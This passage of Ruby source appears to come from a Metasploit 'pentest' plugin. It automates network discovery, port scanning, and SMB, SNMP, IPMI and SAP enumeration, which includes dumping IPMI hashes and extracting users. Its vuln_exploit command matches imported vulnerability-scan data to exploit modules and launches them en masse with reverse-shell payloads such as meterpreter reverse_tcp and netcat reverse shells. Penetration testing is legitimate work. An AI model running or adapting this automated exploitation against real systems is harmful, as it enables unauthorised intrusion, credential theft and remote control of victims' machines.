if int_addrs.any? {|ip| net_ips.include?(ip) }
run_post(session_id, "windows/gather/arp_scanner", opt)
else
run_post(session_id, "multi/gather/ping_sweep", opt)
end
end
# See what hosts where discovered via the ping scan and ARP Scan
hosts_on_db = framework.db.workspace.hosts.map { |h| h.address}
if port_scan
if port_lists.length > 0
ports = port_lists
else
# Generate port list that are supported by modules in Metasploit
ports = get_tcp_port_list
end
end
networks.each do |n|
print_status("Discovering #{n} Network")
net_hosts = []
Rex::Socket::RangeWalker.new(n).each {|i| net_hosts << i}
found_ips = hosts_on_db & net_hosts
# run portscan against hosts in this network
if port_scan
found_ips.each do |t|
print_good("Running TCP Portscan against #{t}")
run_aux_module("scanner/portscan/tcp", {"RHOSTS" => t,
"PORTS"=> (ports * ","),
"THREADS" => 5,
"CONCURRENCY" => 50,
"ConnectTimeout" => 1})
jobwaiting(10,false, "scanner")
end
end
# if a udp port scan was selected lets execute it
if udp_scan
found_ips.each do |t|
print_good("Running UDP Portscan against #{t}")
run_aux_module("scanner/discovery/udp_probe", {"RHOSTS" => t,
"PORTS"=> (udp_ports * ","),
"THREADS" => 5})
jobwaiting(10,false,"scanner")
end
end
# Wait for the scanners to finish before running the discovery modules
if port_scan || udp_scan
print_status("Waiting for scans to finish")
finish_scanning = false
while not finish_scanning
::IO.select(nil, nil, nil, 2.5)
count = get_job_count
if verbose
print_status("\t#{count} scans pending")
end
if count == 0
finish_scanning = true
end
end
end
# Run discovery modules against the services that are for the hosts in the database
if disc_mods
found_ips.each do |t|
host = framework.db.find_or_create_host(:host => t)
found_services = host.services.find_all_by_state("open")
if found_services.length > 0
print_good("Running SMB discovery against #{t}")
run_smb(found_services,smb_user,smb_pass,smb_dom,10,true)
print_good("Running service discovery against #{t}")
run_version_scans(found_services,10,true)
else
print_status("No new services where found to enumerate.")
end
end
end
end
end
else
print_error("The Session specified does not exist")
end
end
# Network Discovery command
def cmd_network_discover(*args)
# Variables
scan_type = "-A"
range = ""
disc_mods = false
smb_user = nil
smb_pass = nil
smb_dom = "WORKGROUP"
maxjobs = 30
verbose = false
port_lists = []
# Define options
opts = Rex::Parser::Arguments.new(
"-r" => [ true, "IP Range to scan in CIDR format."],
"-d" => [ false, "Run Framework discovery modules against found hosts."],
"-u" => [ false, "Perform UDP Scanning. NOTE: Must be ran as root."],
"-U" => [ true, "SMB User-name for discovery(optional)."],
"-P" => [ true, "SMB Password for discovery(optional)."],
"-D" => [ true, "SMB Domain for discovery(optional)."],
"-j" => [ true, "Max number of concurrent jobs. Default is 30"],
"-p" => [ true, "Port list. Provide a comma separated list of port and/or ranges to TCP scan."],
"-v" => [ false, "Be Verbose when running jobs."],
"-h" => [ true, "Help Message."]
)
if args.length == 0
print_line opts.usage
return
end
opts.parse(args) do |opt, idx, val|
case opt
when "-r"
# Make sure no spaces are in the range definition
range = val.gsub(" ","")
when "-d"
disc_mods = true
when "-u"
scan_type = "-sU"
when "-U"
smb_user = val
when "-P"
smb_pass = val
when "-D"
smb_dom = val
when "-j"
maxjobs = val.to_i
when "-v"
verbose = true
when "-p"
port_lists = port_lists + Rex::Socket.portspec_crack(val)
when "-h"
print_line opts.usage
return
end
end
# Static UDP port list
udp_ports = [53,67,137,161,123,138,139,1434,5093,523,1604]
# Check that the ragne is a valid one
ip_list = Rex::Socket::RangeWalker.new(range)
ips_given = []
if ip_list.length == 0
print_error("The IP Range provided appears to not be valid.")
else
ip_list.each do |i|
ips_given << i
end
end
# Get the list of IP's that are routed thru a Pivot
route_ips = get_routed_ips
if port_lists.length > 0
ports = port_lists
else
# Generate port list that are supported by modules in Metasploit
ports = get_tcp_port_list
end
if (ips_given.any? {|ip| route_ips.include?(ip)})
print_error("Trying to scan thru a Pivot please use pivot_net_discovery command")
return
else
# Collect current set of hosts and services before the scan
current_hosts = framework.db.workspace.hosts.find_all_by_state("alive")
current_services = framework.db.workspace.services.find_all_by_state("open")
# Run the nmap scan, this will populate the database with the hosts and services that will be processed by the discovery modules
if scan_type =~ /-A/
cmd_str = "#{scan_type} -T4 -p #{ports * ","} --max-rtt-timeout=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=200ms --open --stats-every 5s #{range}"
run_porscan(cmd_str)
else
cmd_str = "#{scan_type} -T4 -p #{udp_ports * ","} --max-rtt-timeout=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=200ms --open --stats-every 5s #{range}"
run_porscan(cmd_str)
end
# Get a list of the new hosts and services after the scan and extract the new services and hosts
after_hosts = framework.db.workspace.hosts.find_all_by_state("alive")
after_services = framework.db.workspace.services.find_all_by_state("open")
new_hosts = after_hosts - current_hosts
print_good("New hosts found: #{new_hosts.count}")
new_services = after_services - current_services
print_good("New services found: #{new_services.count}")
end
if disc_mods
# Do service discovery only if new services where found
if new_services.count > 0
run_smb(new_services,smb_user,smb_pass,smb_dom,maxjobs,verbose)
run_version_scans(new_services,maxjobs,verbose)
else
print_status("No new services where found to enumerate.")
end
end
end
# Run Post Module against specified session and hash of options
def run_post(session, mod, opts)
m = framework.post.create(mod)
begin
# Check that the module is compatible with the session specified
if m.session_compatible?(session.to_i)
m.datastore['SESSION'] = session.to_i
# Process the option provided as a hash
opts.each do |o,v|
m.datastore[o] = v
end
# Validate the Options
m.options.validate(m.datastore)
# Inform what Post module is being ran
print_status("Running #{mod} against #{session}")
# Execute the Post Module
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
end
rescue
print_error("Could not run post module against sessions #{s}")
end
end
# Remove services marked as close
def cleanup()
print_status("Removing services reported as closed from the workspace...")
framework.db.workspace.services.find_all_by_state("closed").each do |s|
s.destroy
end
print_status("All services reported removed.")
end
# Get the specific count of jobs which name contains a specified text
def get_job_count(type="scanner")
job_count = 0
framework.jobs.each do |k,j|
if j.name =~ /#{type}/
job_count = job_count + 1
end
end
return job_count
end
# Wait for commands to finish
def jobwaiting(maxjobs, verbose, jtype)
while(get_job_count(jtype) >= maxjobs)
::IO.select(nil, nil, nil, 2.5)
if verbose
print_status("waiting for some modules to finish")
end
end
end
# Get a list of IP's that are routed thru a Meterpreter sessions
# Note: This one bit me hard!! in testing. Make sure that the proper module is ran against
# the proper host
def get_routed_ips
routed_ips = []
pivot = Rex::Socket::SwitchBoard.instance
unless (pivot.routes.to_s == "") || (pivot.routes.to_s == "[]")
pivot.routes.each do |r|
sn = r.subnet
nm = r.netmask
cidr = Rex::Socket.addr_atoc(nm)
pivot_ip_range = Rex::Socket::RangeWalker.new("#{sn}/#{cidr}")
pivot_ip_range.each do |i|
routed_ips << i
end
end
end
return routed_ips
end
# Method for running auxiliary modules given the module name and options in a hash
def run_aux_module(mod, opts, as_job=true)
m = framework.auxiliary.create(mod)
opts.each do |o,v|
m.datastore[o] = v
end
m.options.validate(m.datastore)
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output,
'RunAsJob' => as_job
)
end
# Generate an up2date list of ports used by exploit modules
def get_tcp_port_list
# UDP ports
udp_ports = [53,67,137,161,123,138,139,1434]
# Ports missing by the autogen
additional_ports = [465,587,995,993,5433,50001,50002,1524, 6697, 8787, 41364, 48992, 49663, 59034]
print_status("Generating list of ports used by Auxiliary Modules")
ap = (framework.auxiliary.collect { |n,e| x=e.new; x.datastore['RPORT'].to_i}).compact
print_status("Generating list of ports used by Exploit Modules")
ep = (framework.exploits.collect { |n,e| x=e.new; x.datastore['RPORT'].to_i}).compact
# Join both list removing the duplicates
port_list = (((ap | ep) - [0,1]) - udp_ports) + additional_ports
return port_list
end
# Run Nmap scan with values provided
def run_porscan(cmd_str)
print_status("Running NMap with options #{cmd_str}")
driver.run_single("db_nmap #{cmd_str}")
return true
end
# Run SMB Enumeration modules
def run_smb(services, user, pass, dom, maxjobs, verbose)
smb_mods = [
{"mod" => "scanner/smb/smb_version", "opt" => nil},
{"mod" => "scanner/smb/smb_enumusers", "opt" => nil},
{"mod" => "scanner/smb/smb_enumshares", "opt" => nil},
]
smb_mods.each do |p|
m = framework.auxiliary.create(p["mod"])
services.each do |s|
if s.port == 445
m.datastore['RHOSTS'] = s.host.address
if not user.nil? and pass.nil?
m.datastore['SMBUser'] = user
m.datastore['SMBPass'] = pass
m.datastore['SMBDomain'] = dom
end
m.options.validate(m.datastore)
print_status("Running #{p['mod']} against #{s.host.address}")
m.run_simple(
'LocalInput' => driver.input,
'LocalOutput' => driver.output
)
end
end
jobwaiting(maxjobs,verbose,"scanner")
end
end
# Run version and discovery auxiliary modules depending on port that is open
def run_version_scans(services, maxjobs, verbose)
# Run version scan by identified services
services.each do |s|
if (s.port == 135) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address}
run_aux_module("scanner/netbios/nbname_probe",opts)
jobwaiting(maxjobs,verbose,"scanner")
elsif (s.name.to_s == "http" || s.port == 80) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/http/http_version",opts)
run_aux_module("scanner/http/robots_txt",opts)
run_aux_module("scanner/http/open_proxy",opts)
run_aux_module("scanner/http/webdav_scanner",opts)
run_aux_module("scanner/http/http_put",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.port == 1720) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/h323/h323_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s =~ /http/ or s.port == 443) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
run_aux_module("scanner/http/http_version",opts)
run_aux_module("scanner/vmware/esx_fingerprint",opts)
run_aux_module("scanner/http/robots_txt",opts)
run_aux_module("scanner/http/open_proxy",opts)
run_aux_module("scanner/http/webdav_scanner",opts)
run_aux_module("scanner/http/http_put",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "ftp" or s.port == 21) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/ftp/ftp_version",opts)
run_aux_module("scanner/ftp/anonymous",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "telnet" or s.port == 23) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/telnet/telnet_version",opts)
run_aux_module("scanner/telnet/telnet_encrypt_overflow",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s =~ /vmware-auth|vmauth/ or s.port == 902) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/vmware/vmauthd_version)",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "ssh" or s.port == 22) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/ssh/ssh_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "smtp" or s.port.to_s =~/25|465|587/) and s.info.to_s == ""
if s.port == 465
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
else
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
end
run_aux_module("scanner/smtp/smtp_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "pop3" or s.port.to_s =~/110|995/) and s.info.to_s == ""
if s.port == 995
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
else
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
end
run_aux_module("scanner/pop3/pop3_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "imap" or s.port.to_s =~/143|993/) and s.info.to_s == ""
if s.port == 993
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true}
else
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
end
run_aux_module("scanner/imap/imap_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "mssql" or s.port == 1433) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/mssql/mssql_versione",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
elsif (s.name.to_s == "postgres" or s.port.to_s =~/5432|5433/) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/postgres/postgres_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.name.to_s == "mysql" or s.port == 3306) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/mysql/mysql_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.name.to_s =~ /h323/ or s.port == 1720) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/h323/h323_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.name.to_s =~ /afp/ or s.port == 548)
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/afp/afp_server_info",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.name.to_s =~ /http/i || s.port == 443) and s.info.to_s =~ /vmware/i
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/vmware/esx_fingerprint",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.name.to_s =~ /vnc/i || s.port == 5900)
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/vnc/vnc_none_auth",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.name.to_s =~ /jetdirect/i || s.port == 9100)
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/printer/printer_version_info",opts)
run_aux_module("scanner/printer/printer_ready_message",opts)
run_aux_module("scanner/printer/printer_list_volumes",opts)
run_aux_module("scanner/printer/printer_list_dir",opts)
run_aux_module("scanner/printer/printer_download_file",opts)
run_aux_module("scanner/printer/printer_env_vars",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port == 623)
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/ipmi/ipmi_cipher_zero",opts)
run_aux_module("scanner/ipmi/ipmi_dumphashes",opts)
run_aux_module("scanner/ipmi/ipmi_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port == 6000)
opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
run_aux_module("scanner/x11/open_x11",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port == 1521) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/oracle/tnslsnr_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port == 17185) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/vxworks/wdbrpc_bootline",opts)
run_aux_module("scanner/vxworks/wdbrpc_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port == 50013) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/vxworks/wdbrpc_bootline",opts)
run_aux_module("scanner/vxworks/wdbrpc_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port.to_s =~ /50000|50001|50002/) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/db2/db2_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port.to_s =~ /50013/) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/sap/sap_mgmt_con_getaccesspoints",opts)
run_aux_module("scanner/sap/sap_mgmt_con_extractusers",opts)
run_aux_module("scanner/sap/sap_mgmt_con_abaplog",opts)
run_aux_module("scanner/sap/sap_mgmt_con_getenv",opts)
run_aux_module("scanner/sap/sap_mgmt_con_getlogfiles",opts)
run_aux_module("scanner/sap/sap_mgmt_con_getprocessparameter",opts)
run_aux_module("scanner/sap/sap_mgmt_con_instanceproperties",opts)
run_aux_module("scanner/sap/sap_mgmt_con_listlogfiles",opts)
run_aux_module("scanner/sap/sap_mgmt_con_startprofile",opts)
run_aux_module("scanner/sap/sap_mgmt_con_version",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port == 8080) and s.info.to_s == ""
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/http/sap_businessobjects_version_enum",opts)
run_aux_module("scanner/http/open_proxy",opts)
jobwaiting(maxjobs,verbose, "scanner")
next
elsif (s.port == 161 and s.proto == "udp") || (s.name.to_s =~/snmp/)
opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
run_aux_module("scanner/snmp/snmp_login",opts)
jobwaiting(maxjobs,verbose, "scanner")
if s.creds.length > 0
s.creds.each do |c|
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "1",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/snmp_enum",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "2c",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/snmp_enum",opts)
jobwaiting(maxjobs,verbose,"scanner")
if s.host.os_name =~ /windows/i
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "1",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/snmp_enumusers",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "2c",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/snmp_enumusers",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "1",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/snmp_enumshares",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "2c",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/snmp_enumshares",opts)
jobwaiting(maxjobs,verbose,"scanner")
else
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "1",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/xerox_workcentre_enumusers",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "2c",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/xerox_workcentre_enumusers",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "1",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/aix_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
opts = {
'RHOSTS' => s.host.address,
'RPORT' => s.port,
'VERSION' => "2c",
'COMMUNITY' => c.pass
}
run_aux_module("scanner/snmp/aix_version",opts)
jobwaiting(maxjobs,verbose,"scanner")
next
end
end
end
end
end
end
end
# Exploit handling commands
################################################################################################
class AutoExploit
include Msf::Ui::Console::CommandDispatcher
# Set name for command dispatcher
def name
"auto_exploit"
end
# Define Commands
def commands
{
"vuln_exploit" => "Runs exploits based on data imported from vuln scanners.",
"show_client_side" => "Show matched client side exploits from data imported from vuln scanners."
}
end
# vuln exploit command
def cmd_vuln_exploit(*args)
require 'timeout'
# Define options
opts = Rex::Parser::Arguments.new(
"-f" => [ true, "Provide a comma separated list of IP's and Ranges to skip when running exploits."],
"-r" => [ true, "Minimum Rank for exploits (low, average, normal, good, great and excellent) good is the default."],
"-m" => [ false, "Only show matched exploits."],
"-s" => [ false, "Do not limit number of sessions to one per target."],
"-j" => [ true, "Max number of concurrent jobs, 3 is the default."],
"-h" => [ false, "Command Help"]
)
# set variables for options
os_type = ""
filter = []
range = []
limit_sessions = true
matched_exploits = []
min_rank = 100
show_matched = false
maxjobs = 3
ranks ={
"low" => 100,
"average" => 200,
"normal" => 300 ,
"good" => 400,
"great" => 500,
"excellent" => 600
}
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-f"
range = val.gsub(" ","").split(",")
when "-r"
if ranks.include?(val)
min_rank = ranks[val]
else
print_error("Value of #{val} not in list using default of good.")
end
when "-s"
limit_sessions = false
when "-m"
show_matched = true
when "-j"
maxjobs = val.to_i
when "-h"
print_line(opts.usage)
return
end
end
# Make sure that there are vulnerabilities in the table before doing anything else
if framework.db.workspace.vulns.length == 0
print_error("No vulnerabilities are present in the database.")
return
end
# generate a list of IP's to not exploit
range.each do |r|
Rex::Socket::RangeWalker.new(r).each do |i|
filter << i
end
end
exploits =[]
print_status("Generating List for Matching...")
framework.exploits.each_module do |n,e|
exploit = {}
x=e.new
if x.datastore.include?('RPORT')
exploit = {
:exploit => x.fullname,
:port => x.datastore['RPORT'],
:platforms => x.platform.names.join(" "),
:date => x.disclosure_date,
:references => x.references,
:rank => x.rank
}
exploits << exploit
end
end
print_status("Matching Exploits (This will take a while depending on number of hosts)...")
framework.db.workspace.hosts.each do |h|
# Check that host has vulnerabilities associated in the DB
if h.vulns.length > 0
os_type = normalise_os(h.os_name)
#payload = chose_pay(h.os_name)
exploits.each do |e|
found = false
next if not e[:rank] >= min_rank
if e[:platforms].downcase =~ /#{os_type}/ or e[:platforms].downcase == "" or e[:platforms].downcase =~ /php/i
# lets get the proper references
e_refs = parse_references(e[:references])
h.vulns.each do |v|
v.refs.each do |f|
# Filter out Nessus notes
next if f.name =~ /^NSS|^CWE/
if e_refs.include?(f.name) and not found
# Skip those hosts that are filtered
next if filter.include?(h.address)
# Save exploits in manner easy to retrieve later
exploit = {
:exploit => e[:exploit],
:port => e[:port],
:target => h.address,
:rank => e[:rank]
}
matched_exploits << exploit
found = true
end
end
end
end
end
end
end
if matched_exploits.length > 0
# Sort by rank with highest ranked exploits first
matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }
print_good("Matched Exploits:")
matched_exploits.each do |e|
print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
end
# Only show matched records if user only wanted if selected.
return if show_matched
# Track LPORTs used
known_lports = []
# Make sure that existing jobs do not affect the limit
current_jobs = framework.jobs.keys.length
maxjobs = current_jobs + maxjobs
# Start launching exploits that matched sorted by best ranking first
print_status("Running Exploits:")
matched_exploits.each do |e|
# Select a random port for LPORT
port_list = (1024..65000).to_a.shuffle.first
port_list = (1024..65000).to_a.shuffle.first if known_lports.include?(port_list)
# Check if we are limiting one session per target and enforce
if limit_sessions and get_current_sessions.include?(e[:target])
print_good("\tSkipping #{e[:target]} #{e[:exploit]} because a session already exists.")
next
end
# Configure and launch the exploit
begin
ex = framework.modules.create(e[:exploit])
# Choose a payload depending on the best match for the specific exploit
ex = chose_pay(ex, e[:target])
ex.datastore['RHOST'] = e[:target]
ex.datastore['RPORT'] = e[:port].to_i
ex.datastore['LPORT'] = port_list
ex.datastore['VERBOSE'] = true
(ex.options.validate(ex.datastore))
print_status("Running #{e[:exploit]} against #{e[:target]}")
# Provide 20 seconds for a exploit to timeout
Timeout::timeout(20) do
ex.exploit_simple(
'Payload' => ex.datastore['PAYLOAD'],
'LocalInput' => driver.input,
'LocalOutput' => driver.output,
'RunAsJob' => true
)
end
rescue Timeout::Error
print_error("Exploit #{e[:exploit]} against #{e[:target]} timed out")
end
jobwaiting(maxjobs)
end
else
print_error("No Exploits where Matched.")
return
end
end
# Show client side exploits
def cmd_show_client_side(*args)
# Define options
opts = Rex::Parser::Arguments.new(
"-r" => [ true, "Minimum Rank for exploits (low, average, normal, good, great and excellent) good is the default."],
"-h" => [ false, "Command Help"]
)
# set variables for options
os_type = ""
matched_exploits = []
min_rank = 100
ranks ={
"low" => 100,
"average" => 200,
"normal" => 300 ,
"good" => 400,
"great" => 500,
"excellent" => 600
}
# Parse options
opts.parse(args) do |opt, idx, val|
case opt
when "-r"
if ranks.include?(val)
min_rank = ranks[val]
else
print_error("Value of #{val} not in list using default of good.")
end
when "-h"
print_line(opts.usage)
return
end
end
exploits =[]
# Make sure that there are vulnerabilities in the table before doing anything else
if framework.db.workspace.vulns.length == 0
print_error("No vulnerabilities are present in the database.")
return
end
print_status("Generating List for Matching...")
framework.exploits.each_module do |n,e|
exploit = {}
x=e.new
if x.datastore.include?('LPORT')
exploit = {
:exploit => x.fullname,
:port => x.datastore['RPORT'],
:platforms => x.platform.names.join(" "),
:date => x.disclosure_date,
:references => x.references,
:rank => x.rank
}
exploits << exploit
end
end
print_status("Matching Exploits (This will take a while depending on number of hosts)...")
framework.db.workspace.hosts.each do |h|
# Check that host has vulnerabilities associated in the DB
if h.vulns.length > 0
os_type = normalise_os(h.os_name)
#payload = chose_pay(h.os_name)
exploits.each do |e|
found = false
next if not e[:rank] >= min_rank
if e[:platforms].downcase =~ /#{os_type}/
# lets get the proper references
e_refs = parse_references(e[:references])
h.vulns.each do |v|
v.refs.each do |f|
# Filter out Nessus notes
next if f.name =~ /^NSS|^CWE/
if e_refs.include?(f.name) and not found
# Save exploits in manner easy to retrieve later
exploit = {
:exploit => e[:exploit],
:port => e[:port],
:target => h.address,
:rank => e[:rank]
}
matched_exploits << exploit
found = true
end
end
end
end
end
end
end
if matched_exploits.length > 0
# Sort by rank with highest ranked exploits first
matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }
print_good("Matched Exploits:")
matched_exploits.each do |e|
print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
end
else
print_status("No Matching Client Side Exploits where found.")
end
end
# Normalize the OS name since different scanner may have entered different values.
def normalise_os(os_name)
case os_name
when /(Microsoft|Windows)/i
os = "windows"
when /(Linux|Ubuntu|CentOS|RedHat)/i
os = "linux"
when /aix/i
os = "aix"
when /(freebsd)/i
os = "bsd"
when /(hpux|hp-ux)/i
os = "hpux"
when /solaris/i
os = "solaris"
when /(Apple|OSX|OS X)/i
os = "osx"
end
return os
end
# Parse the exploit references and get a list of CVE, BID and OSVDB values that
# we can match accurately.
def parse_references(refs)
references = []
refs.each do |r|
# We do not want references that are URLs
next if r.ctx_id == "URL"
# Format the reference as it is saved by Nessus
references << "#{r.ctx_id}-#{r.ctx_val}"
end
return references
end
# Choose the proper payload
def chose_pay(mod, rhost)
# taken from the exploit ui mixin
# A list of preferred payloads in the best-first order
pref = [
'windows/meterpreter/reverse_tcp',
'java/meterpreter/reverse_tcp',
'php/meterpreter/reverse_tcp',
'php/meterpreter_reverse_tcp',
'cmd/unix/interact',
'cmd/unix/reverse',
'cmd/unix/reverse_perl',
'cmd/unix/reverse_netcat',
'windows/meterpreter/reverse_nonx_tcp',
'windows/meterpreter/reverse_ord_tcp',
'windows/shell/reverse_tcp',
'generic/shell_reverse_tcp'
]
pset = mod.compatible_payloads.map{|x| x[0] }
pref.each do |n|
if(pset.include?(n))
mod.datastore['PAYLOAD'] = n
mod.datastore['LHOST'] = Rex::Socket.source_address(rhost)
return mod
end
end
end
# Create a payload given a name, lhost and lport, additional options
def create_payload(name, lhost, lport, opts = "")
pay = framework.payloads.create(name)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
if not opts.empty?
opts.split(",").each do |o|
opt,val = o.split("=", 2)
pay.datastore[opt] = val
end
end
# Validate the options for the module
if pay.options.validate(pay.datastore)
print_good("Payload option validation passed")
end
return pay
end
def get_current_sessions()
session_hosts = framework.sessions.map { |s,r| r.tunnel_peer.split(":")[0] }
return session_hosts
end
# Method to write string to file
def file_write(file2wrt, data2wrt)
if not ::File.exists?(file2wrt)
::FileUtils.touch(file2wrt)
end
output = ::File.open(file2wrt, "a")
data2wrt.each_line do |d|
output.puts(d)
end
output.close
end
def get_job_count
job_count = 1
framework.jobs.each do |k,j|
if j.name !~ /handler/
job_count = job_count + 1
end
end
return job_count
end
def jobwaiting(maxjobs, verbose=true)
while(get_job_count >= maxjobs)
::IO.select(nil, nil, nil, 2.5)
if verbose
print_status("Waiting for some modules to finish")
end
end
end
end
def initialize(framework, opts)
super
if framework.db and framework.db.active
add_console_dispatcher(PostautoCommandDispatcher)
add_console_dispatcher(ProjectCommandDispatcher)
add_console_dispatcher(DiscoveryCommandDispatcher)
add_console_dispatcher(AutoExploit)
archive_path = ::File.join(Msf::Config.log_directory,"archives")
project_paths = ::File.join(Msf::Config.log_directory,"projects")
# Create project folder if first run
if not ::File.directory?(project_paths)
::FileUtils.mkdir_p(project_paths)
end
# Create archive folder if first run
if not ::File.directory?(archive_path)
::FileUtils.mkdir_p(archive_path)
end
banner = %{
___ _ _ ___ _ _
| _ \\___ _ _| |_ ___ __| |_ | _ \\ |_ _ __ _(_)_ _
| _/ -_) ' \\ _/ -_|_-< _| | _/ | || / _` | | ' \\
|_| \\___|_||_\\__\\___/__/\\__| |_| |_|\\_,_\\__, |_|_||_|
|___/
}
print_line banner
print_line "Version 1.3"
print_line "Pentest plugin loaded."
print_line "by Carlos Perez (carlos_perez[at]darkoperator.com)"
else
print_error("This plugin requires the framework to be connected to a Database!")
end
end
def cleanup
remove_console_dispatcher('Postauto')
remove_console_dispatcher('Project')
remove_console_dispatcher('Discovery')
remove_console_dispatcher("auto_exploit")
end
def name
"pentest"
end
def desc
"Plugin for Post-Exploitation automation."
end
protected
end
end
Jump to Line
Something went wrong with that request. Please try again.